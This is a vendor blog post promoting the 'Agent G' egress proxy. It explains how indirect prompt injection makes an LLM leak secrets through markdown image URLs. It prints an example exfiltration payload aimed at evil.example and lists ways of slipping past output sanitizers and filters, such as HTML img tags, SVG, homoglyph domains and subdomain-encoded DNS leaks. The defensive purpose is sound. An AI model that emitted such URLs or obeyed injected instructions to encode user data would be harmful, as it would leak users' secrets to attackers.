Skip to content

How to Prevent Data Exfiltration via Markdown Image Rendering in LLM Apps

Stop markdown image exfiltration in LLM apps by blocking the outbound image fetch at egress. See how Agent G contains this leak. Request beta access.

By Agent G Engineering7

Markdown image exfiltration in LLM apps happens when an attacker embeds a markdown image whose URL contains stolen data, and the rendering client automatically fetches it. The browser or agent silently sends a GET request to an attacker host, leaking secrets in the query string. Blocking that outbound image fetch at egress is the reliable fix.

Why markdown image rendering is an exfiltration channel

Most LLM chat interfaces and agent frameworks render model output as markdown. When the model emits something like ![x](https://evil.example/log?d=SECRET), the client dereferences that URL to display the image. That dereference is an unauthenticated, automatic HTTP request that no user explicitly approved. The attacker never needs a click. Rendering alone triggers the leak.

The payload arrives through indirect prompt injection: a poisoned web page, a malicious document in a RAG corpus, or a compromised tool response instructs the model to encode conversation context, API keys, or retrieved private data into an image URL. Because the request looks like ordinary image loading, it slips past prompt classifiers and content filters that only inspect text the user sees.

What the outbound request actually carries

The exfiltrated data usually rides in one of these positions:

  • Query string: ?d=base64payload, the most common form.
  • Path segments: /collect/base64payload.png to dodge naive query-string filters.
  • Subdomain: base64payload.evil.example, which also leaks via DNS resolution before any HTTP request completes.
  • Fragment or referer leakage: secondary channels that appear when the image page redirects.

Once you understand the vector, the defense is clear. The text layer is untrustworthy, so the enforcement point must be the network egress path where the image fetch is issued.

Why inference-layer defenses miss image exfiltration

Teams often reach for prompt filtering or output sanitization first. Both help, but neither is sufficient. Output sanitization that strips markdown images can be bypassed with HTML <img> tags, CSS background-image, SVG references, or link previews that unfurl automatically. Homoglyph domains and percent-encoded payloads defeat brittle regex. The moment a single rendering path is missed, the leak succeeds.

The durable control lives one layer down. When the client or agent runtime issues the outbound GET, an egress proxy sees the destination host, the full URL, and the request headers. That is where you can enforce a decision the text layer can never guarantee.

How Agent G blocks the outbound image fetch at egress

Agent G sits inline as a default-deny egress proxy in front of your LLM app and its agents. Every outbound HTTP, HTTPS, DNS, and WebSocket call routes through it, including the image fetches triggered by markdown rendering in server-side renderers and headless browsers. It applies deterministic, policy-as-code rules to each request before it leaves your boundary.

Concrete controls that stop markdown image exfiltration:

  • Domain allowlisting: image loads are only permitted to approved CDN and asset hosts. A fetch to evil.example is dropped, not logged after the fact.
  • URL and query inspection: Agent G inspects the full request line, so high-entropy or base64-looking query strings on image requests are flagged and blocked even on borderline hosts.
  • DLP normalization: outbound payloads are decoded (base64, URL encoding, homoglyph folding) before pattern matching, catching encoded secrets riding in the path or query.
  • DNS enforcement: subdomain-encoded exfiltration fails because resolution of unapproved domains is denied at the proxy.
  • Action receipts: every blocked and allowed fetch is logged out of band as verifiable audit evidence for incident review.

Step by step: containing the leak

  1. Route egress through the proxy. Point your app server, renderer, and agent runtime at Agent G as the outbound proxy so image fetches cannot bypass it.
  2. Set default-deny. Start from zero allowed destinations, then add only the asset and CDN hosts your UI legitimately needs.
  3. Enable URL and DLP inspection on image content types. Apply query-string entropy checks and encoded-secret normalization to image/* requests.
  4. Lock down DNS. Deny resolution of non-allowlisted domains to close the subdomain channel.
  5. Alert and audit. Stream block events to your SIEM so a rendering-based exfil attempt becomes a detectable, investigable incident.

Defense in depth: layers that pair with egress control

LayerWhat it doesGap it leaves
Output sanitizationStrips markdown and HTML image tagsMissed rendering paths, CSS and SVG, homoglyph domains
Content Security PolicyRestricts image sources in the browserDoes not cover server-side renderers or agent HTTP clients
Prompt filteringDetects some injection attempts in textCannot see the resulting network request
Egress proxy (Agent G)Allows or denies the actual outbound fetchBackstop that catches what upper layers miss

Use all four. Sanitization and CSP reduce noise, but egress enforcement is the control that holds when a novel rendering path or encoding slips through. The image request is the observable, blockable action, and Agent G governs it deterministically.

Recap: preventing markdown image exfiltration

Markdown image exfiltration in LLM apps turns an innocuous rendering feature into a zero-click data leak. Because the attack lives in the outbound HTTP request, not the visible text, the only reliable defense is controlling egress. Agent G blocks the fetch to unapproved hosts, normalizes encoded payloads, and enforces DNS so encoded and subdomain channels fail. Pair it with sanitization and CSP for defense in depth.

Frequently Asked Questions

Does stripping markdown images fully stop the leak?

No. Attackers can switch to HTML <img> tags, CSS background images, SVG references, or auto-unfurling link previews. Output sanitization reduces exposure but any missed rendering path leaks. Egress enforcement blocks the outbound fetch itself, so it holds even when a new markup vector appears.

How is this different from ordinary prompt injection defense?

Prompt injection defense inspects text before or after the model. Markdown image exfiltration is realized as a network request, so the decisive control is at egress. See our guidance on catching injection at the response layer in 'indirect-prompt-injection-tool-call-defense' for the full pattern.

Can attackers exfiltrate through DNS instead of the image URL?

Yes. Encoding data in a subdomain leaks it during resolution before any HTTP request finishes. Agent G denies resolution of non-allowlisted domains, closing that channel. Our write-up on 'dns-exfiltration-ai-agents-prevention' covers the DNS surface in depth.

Where does Agent G fit in my stack?

Agent G deploys as an inline, default-deny egress proxy in front of your LLM app and agents, so every outbound call including image fetches passes through policy. Learn more on the product overview or compare options on the alternatives page.

Ready to close the markdown image exfiltration channel and every other egress leak? Request access to the Agent G private beta at our waitlist and put deterministic egress enforcement in front of your agents.

Agent G

Drop-in guardrails for the agentic era.

Intercept every network call your AI makes. Block destructive actions, enforce approvals, log everything.

Request access